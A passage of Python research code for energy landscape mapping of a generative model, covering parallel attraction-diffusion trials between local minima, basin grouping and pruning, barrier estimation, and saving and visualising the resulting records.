data\n self.viz_elm_record()\n\n return map_iter\n\n def save_elm_data(self, file_name):\n max_ind = min(len(self.min_ids), max(self.min_ids))\n\n # gather current elm data\n elm_data = {\n 'min_z': self.min_z[0:max_ind],\n 'min_ims': self.min_ims[0:max_ind],\n 'min_ens': self.min_ens[0:max_ind],\n 'min_ids': self.min_ids[0:max_ind],\n 'id_path_min': self.id_path_min[0:max_ind],\n 'z_path': self.z_path[0:(self.map_iter + 1)],\n 'im_path': self.im_path[0:(self.map_iter + 1)],\n 'en_path': self.en_path[0:(self.map_iter + 1)],\n 'z_path_min': self.z_path_min[0:(self.map_iter+1)],\n 'im_path_min': self.im_path_min[0:(self.map_iter+1)],\n 'en_path_min': self.en_path_min[0:(self.map_iter+1)],\n 'id_path': self.id_path[0:(self.map_iter+1)]\n }\n # save to file\n with open(file_name, 'wb') as f:\n pickle.dump(elm_data, f)\n\n def get_1d_bar_ind(self, z, ind):\n torch.set_num_threads(1)\n z_i = self.format_z(self.min_z[ind])\n return self.explorer.energy_1d_barrier(z, z_i)\n\n def get_ad_inds(self, z):\n\n min_count = len(self.min_ids[self.min_ids > 0])\n z = self.format_z(z)\n\n self.explorer.gen_net.share_memory()\n self.explorer.des_net.share_memory()\n self.explorer.inf_net.share_memory()\n\n # parallel computation of 1D barriers for heuristic\n par_args = []\n for i in range(min_count):\n par_args.append((z.clone(), i))\n with Pool(processes=self.config.num_workers) as pool:\n bars_1d = pool.starmap(self.get_1d_bar_ind, par_args)\n\n sorted_inds = np.argsort(bars_1d)[0:min(self.config.max_ad_pairs, min_count)]\n sorted_bars = np.sort(bars_1d)[0:min(self.config.max_ad_pairs, min_count)]\n return sorted_inds, sorted_bars\n\n def ad_check_pair(self, z, ind, ad_count, bar_1d, direction):\n torch.set_num_threads(1)\n\n if direction == 1:\n char_direction = 'A'\n else:\n char_direction = 'B'\n print(str(self.min_ids[ind]) + char_direction + ' ', end=\"\", flush=True)\n\n init_dist = np.linalg.norm(z.squeeze().data.cpu().numpy() - self.min_z[ind, :])\n ad_time_start = time.time()\n if direction == 1:\n ad_out = self.explorer.coop_ad(z.clone(), self.format_z(self.min_z[ind]))\n elif direction == -1:\n ad_out = self.explorer.coop_ad(self.format_z(self.min_z[ind]), z.clone())\n else:\n raise ValueError('Invalid direction for AD (use 1 or -1)')\n ad_time_end = time.time()\n\n print_out = ''\n print_out += 'AD Trial {} of {} with basin {}\\n'.format(ad_count, self.config.ad_reps, ind + 1)\n print_out += '1D Barrier: {:.2f}\\n'.format(bar_1d)\n\n if direction == 1:\n print_out += 'Energy [NEW {}, BASIN {}]: {}. '.\\\n format(self.map_iter + 1, ind + 1, [round(self.en_path_min[self.map_iter], 2),\n round(self.min_ens[ind], 2)]) + 'Distance: ' + str(round(init_dist, 2)) + '\\n'\n print_out += 'NEW {} TO BASIN {}: '.format(self.map_iter + 1, ind + 1)\n else:\n print_out += 'Energy [BASIN {}, NEW {}]: {}. '.\\\n format(ind + 1, self.map_iter + 1, [round(self.min_ens[ind], 2),\n round(self.en_path_min[self.map_iter], 2)]) + 'Distance: ' + \\\n str(round(init_dist, 2)) + '\\n'\n print_out += 'BASIN {} TO NEW {}: '.format(ind + 1, self.map_iter + 1)\n\n if ad_out['mem'] == 1:\n print_out += '*** success ***\\n'\n print_out += 'Energy Barrier: {}\\n'.format(ad_out['barrier'])\n else:\n print_out += 'xxx failure xxx\\n'\n\n if self.config.ad_type == 'mh':\n print_out += 'Max Energy: {:.2f} End Dist: {:.2f} Accept Rate: {:.4f} Steps: {}\\n'.format(\n ad_out['en_max'], ad_out['dist_end'], ad_out['accept_rate'], ad_out['steps'])\n elif self.config.ad_type == 'langevin':\n print_out += 'Max Energy: {:.2f} End Dist: {:.2f} Ave. Grad: {:.4f} Steps: {}\\n'.format(\n ad_out['en_max'], ad_out['dist_end'], ad_out['ave_grad'], ad_out['steps'])\n print_out += 'AD Time: {} seconds\\n'.format(round(ad_time_end - ad_time_start, 2))\n\n mem = ad_out['mem']\n bar = ad_out['barrier']\n return mem, bar, print_out\n\n def ad_check_pair_double_ended(self, z, ind, ad_count, bar_1d):\n torch.set_num_threads(1)\n print(self.min_ids[ind] + ' ', end=\"\", flush=True)\n\n init_dist = np.linalg.norm(z.squeeze().data.cpu().numpy() - self.min_z[ind, :])\n ad_time_start = time.time()\n ad_out = self.explorer.coop_ad_double_ended(z.clone(), self.format_z(self.min_z[ind]))\n ad_time_end = time.time()\n\n print_out = ''\n print_out += 'AD Trial {} of {} with basin {}\\n'.format(ad_count, self.config.ad_reps, ind + 1)\n print_out += '1D Barrier: {:.2f}\\n'.format(bar_1d)\n\n print_out += 'Energy [NEW {}, BASIN {}]: {}. '.\\\n format(self.map_iter + 1, ind + 1, [round(self.en_path_min[self.map_iter], 2),\n round(self.min_ens[ind], 2)]) + 'Distance: ' + str(round(init_dist, 2)) + '\\n'\n print_out += 'NEW {} TO BASIN {}: '.format(self.map_iter + 1, ind + 1)\n\n if ad_out['mem'] == 1:\n print_out += '*** success ***\\n'\n print_out += 'Energy Barrier: {}\\n'.format(ad_out['barrier'])\n else:\n print_out += 'xxx failure xxx\\n'\n\n print_out += 'Barrier: {:.2f} End Dist: {:.2f} Accept Rate: {:.4f} Steps: {}\\n'.\\\n format(ad_out['barrier'], ad_out['dist_end'], ad_out['accept_rate'], ad_out['steps'])\n print_out += 'AD Time: {} seconds\\n'.format(round(ad_time_end - ad_time_start, 2))\n\n mem = ad_out['mem']\n bar = ad_out['barrier']\n return mem, bar, print_out\n\n def ad_check(self, z, ad_inds, bars_1d):\n # mem_ind gives index of basin for successful AD grouping. if no trials successful, mem_ind = -1\n mem_ind = -1\n # 0/1 indicator for successful to known basin\n mem_inds = np.repeat(0, len(ad_inds))\n # max energy barrier along diffusion path\n bars = np.repeat(float('inf'), len(ad_inds))\n\n ad_total_time = time.time()\n ad_count = 0\n\n self.explorer.gen_net.share_memory()\n self.explorer.des_net.share_memory()\n self.explorer.inf_net.share_memory()\n\n while (np.max(mem_inds) == 0) & (ad_count < self.config.ad_reps):\n ad_count += 1\n self.out_f.write('----------------------------------\\n')\n self.out_f.write('AD Trials Step {} Iteration {} of {}\\n'.format(self.map_iter + 1, ad_count,\n self.config.ad_reps))\n self.out_f.write('----------------------------------\\n')\n print('----------------------------------')\n print('AD Trials Step {} Iteration {} of {}'.format(self.map_iter + 1, ad_count, self.config.ad_reps))\n print('----------------------------------')\n ad_iter_time = time.time()\n print('AD Trial {} of {} with basin: '.format(ad_count, self.config.ad_reps), end=\"\", flush=True)\n\n self.out_f.close()\n self.out_f = None\n\n if not self.config.ad_double_ended:\n # parallel implementation of single-ended ad trials\n par_args = []\n for i in range(2 * len(ad_inds)):\n ind = np.int32(np.floor(i/2))\n par_args.append((z.clone(), ad_inds[ind], ad_count, bars_1d[ind], (-1)**i))\n with Pool(processes=self.config.num_workers) as pool:\n ad_out = pool.starmap(self.ad_check_pair, par_args)\n\n self.out_f = open(os.path.join(self.config.elm_out_dir, 'results.txt'), 'a', 1)\n\n for i in range(len(ad_inds)):\n mem_inds[i] = np.max([ad_out[2*i][0], ad_out[2*i+1][0]])\n bars[i] = np.min([ad_out[2*i][1], ad_out[2*i+1][1]])\n self.out_f.write(ad_out[2*i][2])\n self.out_f.write(ad_out[2*i+1][2])\n self.out_f.write('-----\\n')\n else:\n # parallel implementation of double-ended ad trials\n par_args = []\n for i in range(len(ad_inds)):\n par_args.append((z.clone(), ad_inds[i], ad_count, bars_1d[i]))\n with Pool(processes=self.config.num_workers) as pool:\n ad_out = pool.starmap(self.ad_check_pair_double_ended, par_args)\n\n self.out_f = open(os.path.join(self.config.elm_out_dir, 'results.txt'), 'a', 1)\n\n for i in range(len(ad_inds)):\n mem_inds[i] = ad_out[i][0]\n bars[i] = ad_out[i][1]\n self.out_f.write(ad_out[i][2])\n self.out_f.write('-----\\n')\n\n ad_iter_time = time.time() - ad_iter_time\n\n print('')\n print('AD Iteration {} of {} Complete. Time: {:.2f} seconds'.format(ad_count, self.config.ad_reps,\n ad_iter_time))\n self.out_f.write('AD Iteration {} of {} Complete. Time: {:.2f} seconds\\n'.\n format(ad_count, self.config.ad_reps, ad_iter_time))\n\n print('-----')\n self.out_f.write('-----\\n')\n if np.max(mem_inds) == 1:\n print('Successful Diffusion to Mins: {}'.format(ad_inds[mem_inds == 1]+1))\n self.out_f.write('Successful Diffusion to Mins: {}\\n'.format(ad_inds[mem_inds == 1] + 1))\n # group new minima with basin that has successful trial and lowest energy along diffusion path\n mem_ind = ad_inds[np.argmin(bars)]\n\n print('Map Iteration {} Total AD Time: {:.2f}'.format(self.map_iter+1, time.time()-ad_total_time))\n self.out_f.write('Map Iteration {} Total AD Time: {:.2f}\\n'.format(self.map_iter + 1,\n time.time() - ad_total_time))\n\n return mem_ind\n\n def check_membership(self, z):\n # close file writer before parallel computation\n self.out_f.close()\n self.out_f = None\n\n # use 1D barrier as heuristic for choosing top candidates for AD trials\n ad_inds, bars1d = self.get_ad_inds(z)\n\n # reopen writer\n self.out_f = open(os.path.join(self.config.elm_out_dir, 'results.txt'), 'a', 1)\n\n print('AD trials to basins: ', ad_inds+1)\n self.out_f.write('AD trials to basins: {}\\n'.format(ad_inds + 1))\n\n # run AD trials between new minimum and top candidate reps\n return self.ad_check(z, ad_inds, bars1d)\n\n def map_step(self):\n # sample and record initial z and image\n z = torch.randn(1, self.config.z_size, 1, 1)\n en, _, _, _, gen_im = self.explorer.energy(z)\n self.z_path[self.map_iter] = z.squeeze().data.cpu().numpy()\n self.im_path[self.map_iter] = self.format_im(gen_im.squeeze().data.cpu().numpy())\n self.en_path[self.map_iter] = en.squeeze().data.cpu().numpy()\n self.viz_ims(np.expand_dims(self.im_path[self.map_iter], 0), file_str='active_gen_im',\n marg_row=self.config.marg_row, marg_col=self.config.marg_col, col_shift=self.config.col_shift,\n labels=['active im'])\n\n ##################\n # find local min z\n ##################\n min_time_start = time.time()\n if self.config.min_search_type == 'mh':\n min_out = self.explorer.find_coop_minima_mh(z)\n elif self.config.min_search_type == 'grad':\n min_out = self.explorer.find_coop_minima(z)\n else:\n raise ValueError('Invalid choice for min search type (use \"grad\" or \"mh\")')\n min_time_end = time.time()\n\n if self.config.min_search_type == 'mh':\n print('Initial En: {:.2f} Minimum En: {:.2f} Accept Rate: {:.5f} Steps: {}'.\n format(min_out['orig_en'], min_out['min_en'], min_out['accept_rate'], min_out['num_steps']))\n self.out_f.write('Initial En: {:.2f} Minimum En: {:.2f} Accept Rate: {:.5f} Steps: {}\\n'.\n format(min_out['orig_en'], min_out['min_en'], min_out['accept_rate'],\n min_out['num_steps']))\n elif self.config.min_search_type == 'grad':\n print('Initial En: {:.2f} Minimum En: {:.2f} Ave. Grad: {:.5f} Steps: {}'.\n format(min_out['orig_en'], min_out['min_en'], min_out['ave_grad'], min_out['num_steps']))\n self.out_f.write('Initial En: {:.2f} Minimum En: {:.2f} Ave. Grad: {:.5f} Steps: {}\\n'.\n format(min_out['orig_en'], min_out['min_en'], min_out['ave_grad'],\n min_out['num_steps']))\n print('Initial-EBM-En: {:.2f} Final-EBM-En: {:.2f} Initial-VAE-En: {:.2f} Final-VAE-En: {:.2f}'.\n format(min_out['orig_en_ebm'], min_out['en_ebm'], min_out['orig_en_vae'], min_out['en_vae']))\n print('Min Search Time: {:.2f} seconds'.format(min_time_end-min_time_start))\n self.out_f.write('Initial-EBM-En: {:.2f} Final-EBM-En: {:.2f} Initial-VAE-En: {:.2f} Final-VAE-En: {:.2f}\\n'.\n format(min_out['orig_en_ebm'], min_out['en_ebm'], min_out['orig_en_vae'], min_out['en_vae']))\n self.out_f.write('Min Search Time: {:.2f} seconds\\n'.format(min_time_end - min_time_start))\n # record local min z and image\n self.z_path_min[self.map_iter] = min_out['min_z'].squeeze()\n self.im_path_min[self.map_iter] = self.format_im(min_out['min_im'])\n self.en_path_min[self.map_iter] = min_out['min_en'].squeeze()\n self.viz_ims(np.expand_dims(self.im_path_min[self.map_iter], 0), file_str='active_min_im',\n marg_row=self.config.marg_row, marg_col=self.config.marg_col, col_shift=self.config.col_shift,\n labels=['active min'])\n\n #########################################################\n # group new minimum with old minima, or start a new basin\n #########################################################\n old_min_count = np.min([len(self.min_ids), np.max(self.min_ids)])\n\n if np.max(self.min_ids) == 0:\n ########################\n # start a new ELM record\n ########################\n self.min_z[0] = self.z_path_min[self.map_iter]\n self.min_ims[0] = self.im_path_min[self.map_iter]\n self.min_ens[0] = self.en_path_min[self.map_iter]\n self.min_ids[0] = 1\n self.id_path[self.map_iter] = 1\n self.id_path_min[self.map_iter] = 0\n else:\n ##############################\n # use AD to check membership\n ##############################\n mem_ind = self.check_membership(self.format_z(self.z_path_min[self.map_iter]))\n\n ###################\n # update ELM record\n ###################\n # case 1: new min not grouped with previous min\n if mem_ind == -1:\n # case 1a: ELM record not yet full\n if min(self.min_ids) == 0:\n mem_ind = max(self.min_ids)\n self.id_path[self.map_iter] = mem_ind + 1\n self.min_ids[mem_ind] = mem_ind + 1\n self.min_ens[mem_ind] = self.en_path_min[self.map_iter]\n self.min_z[mem_ind] = self.z_path_min[self.map_iter]\n self.min_ims[mem_ind] = self.im_path_min[self.map_iter]\n self.id_path_min[mem_ind] = self.map_iter\n # case 1b: ELM record full, new min has lower energy. get rid of highest energy known min\n elif self.en_path_min[self.map_iter] < max(self.min_ens):\n mem_ind = np.argmax(self.min_ens)\n self.id_path[self.map_iter] = max(self.min_ids) + 1\n self.min_ids[mem_ind] = max(self.min_ids) + 1\n self.min_ens[mem_ind] = self.en_path_min[self.map_iter]\n self.min_z[mem_ind] = self.z_path_min[self.map_iter]\n self.min_ims[mem_ind] = self.im_path_min[self.map_iter]\n self.id_path_min[mem_ind] = self.map_iter\n # case 1c: ELM record full, new min has higher energy than known mins. discard new min\n else:\n self.id_path[self.map_iter] = -1\n # case 2: new min successfully grouped with known min\n else:\n self.id_path[self.map_iter] = self.min_ids[mem_ind]\n # if new min has lower energy than basin rep, new min becomes the basin rep\n if (self.en_path_min[self.map_iter] < self.min_ens[mem_ind]) & self.config.update_mins:\n self.min_ens[mem_ind] = self.en_path_min[self.map_iter]\n self.min_z[mem_ind] = self.z_path_min[self.map_iter]\n self.min_ims[mem_ind] = self.im_path_min[self.map_iter]\n self.id_path_min[mem_ind] = self.map_iter\n print('*** Basin Representative Updated ***')\n self.out_f.write('*** Basin Representative Updated ***\\n')\n\n print('Mapping iteration {} concluded. Sorted to Basin: {} of {}'.\n format(self.map_iter+1, mem_ind+1, old_min_count))\n self.out_f.write('Mapping iteration {} concluded. Sorted to Basin: {} of {}\\n'.\n format(self.map_iter + 1, mem_ind + 1, old_min_count))\n\n def map(self):\n map_time = time.time()\n map_iter_init = self.map_iter\n for map_iter in range(map_iter_init, self.config.num_steps):\n\n self.map_iter = map_iter\n\n print('\\n')\n print('###############################')\n print('Mapping Iteration {} of {}'.format(self.map_iter+1, self.config.num_steps))\n print('###############################')\n\n self.out_f.write('###############################\\n')\n self.out_f.write('Mapping Iteration {} of {}\\n'.format(self.map_iter + 1, self.config.num_steps))\n self.out_f.write('###############################\\n')\n\n map_step_time = time.time()\n self.map_step()\n map_step_time = time.time() - map_step_time\n print('Map Iteration {} Time: {:.2f} seconds'.format(map_iter+1, map_step_time))\n self.out_f.write('Map Iteration {} Time: {:.2f} seconds\\n'.format(map_iter+1, map_step_time))\n self.out_f.write('\\n')\n\n # viz and save elm info\n self.viz_elm_record()\n if (map_iter % self.config.log_step) == 0:\n self.save_elm_data(os.path.join(self.config.elm_out_map, self.config.elm_file_out + '.pkl'))\n\n map_time = time.time() - map_time\n print('{} Local Minima Mapped. Total Mapping Time: {:.2f} seconds'.format(self.config.num_steps, map_time))\n self.out_f.write('{} Local Minima Mapped. Total Mapping Time: {:.2f} hours\\n'.format(self.config.num_steps,\n map_time / 3600))\n self.out_f.close()\n\n # visualize image from ELM record\n def viz_ims(self, ims, file_str, labels=None, marg_row=15, marg_col=2, col_shift=8):\n n_col = np.ceil(np.sqrt(ims.shape[0])).astype(np.int32)\n if ims.shape[0] / n_col > n_col - 1:\n n_row = n_col\n else:\n n_row = n_col - 1\n filename = os.path.join(self.config.elm_out_ims, file_str + '.png')\n save_elm_images(ims, filename, n_row, n_col, labels=labels,\n marg_row=marg_row, marg_col=marg_col, col_shift=col_shift)\n\n def viz_min_ims(self, file_str='min_ims', marg_row=15, marg_col=2, col_shift=8):\n labels = np.core.defchararray.add(['basin ']*sum(self.min_ids > 0),\n [str(id_num) for id_num in (self.min_ids[self.min_ids > 0])])\n self.viz_ims(self.min_ims[self.min_ids > 0], file_str, labels=labels, marg_row=marg_row,\n marg_col=marg_col, col_shift=col_shift)\n\n def viz_im_path(self, file_str='im_path', marg_row=15, marg_col=2, col_shift=8):\n steps = np.arange(np.argwhere(self.id_path > 0)[-1] + 1)\n labels = np.core.defchararray.add(['im ']*sum(self.id_path > 0),\n [str(step_num+1) for step_num in steps])\n self.viz_ims(self.im_path[self.id_path > 0], file_str, labels=labels, marg_row=marg_row,\n marg_col=marg_col, col_shift=col_shift)\n\n def viz_im_path_min(self, file_str='im_path_min', marg_row=15, marg_col=2, col_shift=8):\n steps = np.arange(np.argwhere(self.id_path > 0)[-1] + 1)\n labels = [str(step_num+1) for step_num in steps]\n labels = np.core.defchararray.add(labels, ['-'] * sum(self.id_path > 0))\n labels = np.core.defchararray.add(labels, [str(id_num) for id_num in (self.id_path[self.id_path > 0])])\n self.viz_ims(self.im_path_min[self.id_path > 0], file_str, labels=labels, marg_row=marg_row,\n marg_col=marg_col, col_shift=col_shift)\n\n def viz_basin_ims(self, basin_id, file_str='basin_ims', marg_row=15, marg_col=2, col_shift=8):\n inds = np.argwhere(self.id_path == basin_id)\n sort_inds = np.argsort(self.en_path_min[inds].squeeze())\n file_str = file_str + str(basin_id)\n if len(sort_inds) > 1:\n sort_ens = np.sort(self.en_path_min[inds].squeeze())\n labels = ['{:.0f}'.format(en) for en in sort_ens]\n self.viz_ims(self.im_path_min[inds[sort_inds].squeeze()], file_str, labels=labels, marg_row=marg_row,\n marg_col=marg_col, col_shift=col_shift)\n else:\n sort_ens = self.en_path_min[inds].squeeze()\n labels = ['{:.0f}'.format(sort_ens)]\n self.viz_ims(np.expand_dims(self.im_path_min[inds[sort_inds].squeeze()], 0),\n file_str, labels=labels, marg_row=marg_row, marg_col=marg_col, col_shift=col_shift)\n\n def viz_basins(self, basin_ids, marg_row=15, marg_col=2, col_shift=8):\n for i in range(len(basin_ids)):\n self.viz_basin_ims(basin_ids[i], marg_row=marg_row, marg_col=marg_col, col_shift=col_shift)\n\n def viz_all_basins(self, marg_row=15, marg_col=2, col_shift=8):\n self.viz_basins(self.min_ids[self.min_ids > 0], marg_row=marg_row, marg_col=marg_col, col_shift=col_shift)\n\n def viz_elm_record(self):\n if os.path.exists(self.config.elm_out_ims):\n shutil.rmtree(self.config.elm_out_ims)\n os.mkdir(self.config.elm_out_ims)\n\n # viz all basin rep. minima\n self.viz_min_ims(marg_row=self.config.marg_row, marg_col=self.config.marg_col,\n col_shift=self.config.col_shift)\n # viz all starting points for min search\n self.viz_im_path(marg_row=self.config.marg_row, marg_col=self.config.marg_col,\n col_shift=self.config.col_shift)\n # viz all minima images\n self.viz_im_path_min(marg_row=self.config.marg_row, marg_col=self.config.marg_col,\n col_shift=self.config.col_shift)\n # viz the images and energy of minima within each basin\n self.viz_all_basins(marg_row=self.config.marg_row, marg_col=self.config.marg_col,\n col_shift=self.config.col_shift)\n\n def consolidate_min_id(self, id_out, id_target=None):\n erase_ind = np.argwhere(self.min_ids == id_out)\n\n # remove\n self.min_ids = np.delete(self.min_ids, erase_ind)\n self.min_z = np.delete(self.min_z, erase_ind, 0)\n self.min_ims = np.delete(self.min_ims, erase_ind, 0)\n self.min_ens = np.delete(self.min_ens, erase_ind)\n self.id_path_min = np.delete(self.id_path_min, erase_ind)\n\n if id_target is not None:\n # label ids of removed minimum with new target label\n self.id_path[self.id_path == id_out] = id_target\n else:\n # label ids of removed minimum with null label\n self.id_path[self.id_path == id_out] = -1\n\n def consolidate_basin_ids(self):\n new_ids = list(range(len(self.min_ids)))\n for i in range(len(new_ids)):\n self.min_ids[np.argwhere(self.id_path == self.min_ids[i])] = new_ids[i]\n\n def get_consolidation_id(self, ind):\n # index of new basin for low-member minimum\n mem_ind = -1\n min_bar = float('inf')\n\n self.explorer.gen_net.share_memory()\n self.explorer.des_net.share_memory()\n self.explorer.inf_net.share_memory()\n\n ad_order, bars_1d = self.get_ad_inds(self.min_z[ind])\n ad_order = list(set(ad_order) - {ind})\n bars_1d = bars_1d[1:len(bars_1d)]\n\n ad_count = 0\n ad_success = False\n\n while ad_success is False and ad_count < self.config.prune_reps:\n ad_count += 1\n if not self.config.ad_double_ended:\n # parallel implementation of single-ended ad trials\n par_args = []\n for i in range(2 * len(ad_order)):\n ad_ind = np.int32(np.floor(i / 2))\n # only perform AD trials with basins that have sufficient membership\n if np.sum(self.id_path == self.min_ids[ad_order[ad_ind]]) > self.config.mem_threshold:\n z = self.format_z(self.min_z[ind])\n par_args.append((z.clone(), ad_order[ad_ind], ad_count, bars_1d[ad_ind], (-1) ** i))\n\n # parallel trials to high-member basins\n print('Trials {} of {} for Min {}: '.\n format(ad_count, self.config.prune_reps, self.min_ids[ind]), end=\"\", flush=True)\n # self.out_f.close()\n # self.out_f = None\n\n with Pool(processes=self.config.num_workers) as pool:\n ad_out = pool.starmap(self.ad_check_pair, par_args)\n\n # self.out_f = open(os.path.join(self.config.elm_out_dir, 'results_tree.txt'), 'a', 1)\n print('')\n\n # sort to basin with successful trial and lowest barrier (if any)\n for i in range(np.int32(len(par_args)/2)):\n if np.max([ad_out[2*i][0], ad_out[2*i+1][0]]) == 1 \\\n and np.min([ad_out[2*i][1], ad_out[2*i+1][1]]) < min_bar:\n ad_success = True\n min_bar = np.min([ad_out[2*i][1], ad_out[2*i+1][1]])\n mem_ind = par_args[i][1]\n else:\n # parallel implementation of double-ended ad trials\n par_args = []\n for i in range(len(ad_order)):\n if np.sum(self.id_path == self.min_ids[ad_order[i]]) <= self.config.mem_threshold:\n z = self.format_z(self.min_z[ind])\n par_args.append((z.clone(), ad_order[i], ad_count, bars_1d[i]))\n\n print('Trials {} of {} for Min {}: '.\n format(ad_count, self.config.prune_reps, self.min_ids[ind]), end=\"\", flush=True)\n # self.out_f.close()\n # self.out_f = None\n\n with Pool(processes=self.config.num_workers) as pool:\n ad_out = pool.starmap(self.ad_check_pair_double_ended, par_args)\n\n # self.out_f = open(os.path.join(self.config.elm_out_dir, 'results_tree.txt'), 'a', 1)\n print('')\n\n for i in range(len(par_args)):\n if ad_out[i][0] == 1 and ad_out[i][1] < min_bar:\n ad_success = True\n min_bar = ad_out[i][1]\n mem_ind = par_args[i][1]\n\n if ad_success is True:\n print('Min {} Sorted to Min {}'.format(self.min_ids[ind], self.min_ids[mem_ind]))\n # self.out_f.write('Min {} Sorted to Min {}\\n'.format(self.min_ids[ind], self.min_ids[mem_ind]))\n\n if mem_ind >= 0:\n return self.min_ids[mem_ind]\n else:\n return mem_ind\n\n def prune_elm_record_quick(self):\n self.num_mins = len(self.min_ids[self.min_ids > 0])\n\n # find low-membership minima to consolidate to high-membership minima\n low_count_inds = []\n for i in range(self.num_mins):\n if np.sum(self.id_path == self.min_ids[i]) <= self.config.mem_threshold:\n low_count_inds.append(i)\n\n # self.out_f.close()\n # self.out_f = None\n\n low_count_targets = -1 * np.ones(len(low_count_inds), dtype=np.int32)\n # sort all low-member minima to the high-member minima with the lowest 1D barrier #\n for i in range(len(low_count_inds)):\n ad_order, _ = self.get_ad_inds(self.min_z[low_count_inds[i]])\n\n for j in range(len(ad_order)):\n if not ad_order[j] == low_count_inds[i] and \\\n np.sum(self.id_path == self.min_ids[ad_order[j]]) > self.config.mem_threshold:\n low_count_targets[i] = ad_order[j]\n break\n\n self.num_mins = len(self.min_ids[self.min_ids > 0])\n\n # consolidate ELM record based on pruning results\n for i in range(len(low_count_inds)):\n if not low_count_targets[i] == -1:\n self.consolidate_min_id(self.min_ids[low_count_inds[i]], self.min_ids[low_count_targets[i]])\n else:\n self.consolidate_min_id(self.min_ids[low_count_inds[i]])\n self.num_mins = len(self.min_ids[self.min_ids > 0])\n self.consolidate_basin_ids()\n\n # save consolidated ELM record\n self.save_elm_data(os.path.join(self.config.elm_out_map, self.config.elm_prune_file + '.pkl'))\n # self.out_f = open(os.path.join(self.config.elm_out_dir, 'results_tree.txt'), 'a', 1)\n\n def prune_elm_record(self):\n # # AD tests between low-member and high-member minima to consolidate the ELM record # #\n\n self.num_mins = len(self.min_ids[self.min_ids > 0])\n\n # change magnetization to consolidation strength\n alpha_init = self.config.ad_alpha\n self.config.ad_alpha = self.config.prune_alpha\n\n # find low-membership minima to consolidate to high-membership minima\n low_count_inds = []\n for i in range(self.num_mins):\n if np.sum(self.id_path == self.min_ids[i]) <= self.config.mem_threshold:\n low_count_inds.append(i)\n\n # ad trials between low-membership minima and high-membership minima for consolidation\n low_count_mem = []\n for i in range(len(low_count_inds)):\n print('Consolidation Trial {} of {}'.format(i+1, len(low_count_inds)))\n # self.out_f.write('Consolidation Trial {} of {}\\n'.format(i+1, len(low_count_inds)))\n # record (old_id, new_id) for pruning of old_ids. new_id = -1 if there is no successful AD trial\n low_count_mem.append((self.min_ids[low_count_inds[i]], self.get_consolidation_id(low_count_inds[i])))\n print('')\n\n # update ELM record based on consolidation results\n for i in range(len(low_count_inds)):\n if low_count_mem[i][1] > 0:\n self.consolidate_min_id(low_count_mem[i][0], low_count_mem[i][1])\n elif self.config.remove_low_mem_inds:\n self.consolidate_min_id(low_count_mem[i][0])\n\n self.num_mins = len(self.min_ids[self.min_ids > 0])\n self.consolidate_basin_ids()\n\n # reset magnetization for AD trials\n self.config.ad_alpha = alpha_init\n\n # save consolidated ELM record\n self.save_elm_data(os.path.join(self.config.elm_out_map, self.config.elm_prune_file + '.pkl'))\n\n def estimate_barrier_quick(self, ind1, ind2):\n torch.set_num_threads(1)\n barrier = float('inf')\n for rep in range(self.config.ad_reps):\n print('Diffusion from Min {} to Min {}: Trial {} of {}'.\n format(ind1, ind2, rep, np.min([self.config.max_ad_pairs, self.num_mins])))\n if not self.config.ad_double_ended:\n # diffuion from ind1 minimum to ind2 minimum\n ad_out = self.explorer.coop_ad(self.format_z(self.min_z[ind1]),\n self.format_z(self.min_z[ind2]))\n else:\n # both endpoints diffuse towards each other\n ad_out = self.explorer.coop_ad_double_ended(self.format_z(self.min_z[ind1]),\n self.format_z(self.min_z[ind2]))\n if ad_out['mem'] == 1:\n # update energy of barrier based on successful AD trial\n barrier = np.min([barrier, ad_out['barrier']])\n\n return barrier\n\n def estimate_barrier(self, ind1, ind2, return_alpha=False):\n torch.set_num_threads(1)\n alpha_init = self.config.ad_alpha\n\n # estimated minimum energy barrier between basin representatives\n barrier = float('inf')\n # estimate of minimum magnetization for successful AD trial\n alpha_out = float('inf')\n\n ad_success = True\n print('Estimating Barrier From Min {} to Min {}'.format(self.min_ids[ind1], self.min_ids[ind2]))\n while ad_success is True:\n ad_success = False\n for i in range(self.config.ad_reps):\n if not self.config.ad_double_ended:\n # diffuion from ind1 minimum to ind2 minimum\n ad_out = self.explorer.coop_ad(self.format_z(self.min_z[ind1]),\n self.format_z(self.min_z[ind2]))\n else:\n # both endpoints diffuse towards each other\n ad_out = self.explorer.coop_ad_double_ended(self.format_z(self.min_z[ind1]),\n self.format_z(self.min_z[ind2]))\n\n if ad_out['mem'] == 1:\n ad_success = True\n barrier = min(barrier, ad_out['barrier'])\n alpha_out = min(self.config.alpha, alpha_out)\n\n if ad_success is True:\n # decay magnetization for next iteration\n self.config.ad_alpha *= self.config.bar_alpha_decay\n\n # reset config ad_alpha\n self.config.ad_alpha = alpha_init\n\n if return_alpha:\n return barrier, alpha_out\n else:\n return barrier\n\n def get_barrier_trial_indices(self):\n pair_ij = []\n for ind in range(self.num_mins):\n print('Getting AD Pairings for Min {} of {}'.format(ind+1, self.num_mins))\n ad_order, _ = self.get_ad_inds(self.min_z[ind])\n ad_order = list(set(ad_order) - {ind})\n for new_ind in range(0, self.config.max_ad_pairs - 1):\n pair_ij.append((min(ad_order[new_ind], ind), max(ad_order[new_ind], ind)))\n pair_ij = np.unique(pair_ij, axis=0).tolist()\n return pair_ij\n\n def get_barrier_matrix(self):\n self.num_mins = len(self.min_ids[self.min_ids > 0])\n self.barrier_mat = float('inf') * np.ones([self.num_mins, self.num_mins])\n for i in range(self.num_mins):\n # energy of barrier between min and itself is energy of min\n self.barrier_mat[i, i] = self.min_ens[i]\n\n self.explorer.gen_net.share_memory()\n self.explorer.des_net.share_memory()\n self.explorer.inf_net.share_memory()\n\n # set up paired indices for AD trials based on 1D barrier\n if self.config.max_ad_pairs < self.num_mins:\n par_args = self.get_barrier_trial_indices()\n else:\n par_args = []\n for i, j in itertools.product(np.arange(0, self.num_mins), repeat=2):\n if i < j:\n par_args.append((i, j))\n\n if not self.config.ad_double_ended:\n for i in range(len(par_args)):\n par_args.append((par_args[i][1], par_args[i][0]))\n\n # estimate barriers between candidate pairs in parallel\n if self.config.bar_est_type == 'quick':\n with torch.multiprocessing.Pool(processes=self.config.num_workers) as pool:\n barrier_out = pool.starmap(self.estimate_barrier_quick, par_args)\n elif self.config.bar_est_type == 'full':\n with torch.multiprocessing.Pool(processes=self.config.num_workers) as pool:\n barrier_out = pool.starmap(self.estimate_barrier, par_args)\n else:\n raise ValueError('Invalid Method for Barrier Estimation (quick or full)')\n\n # organize results of parallel barrier search\n for i in range(len(par_args)):\n i1, i2 = par_args[i]\n endpoint_en_max = max(self.min_ens[i1], self.min_ens[i2])\n self.barrier_mat[i1, i2] = 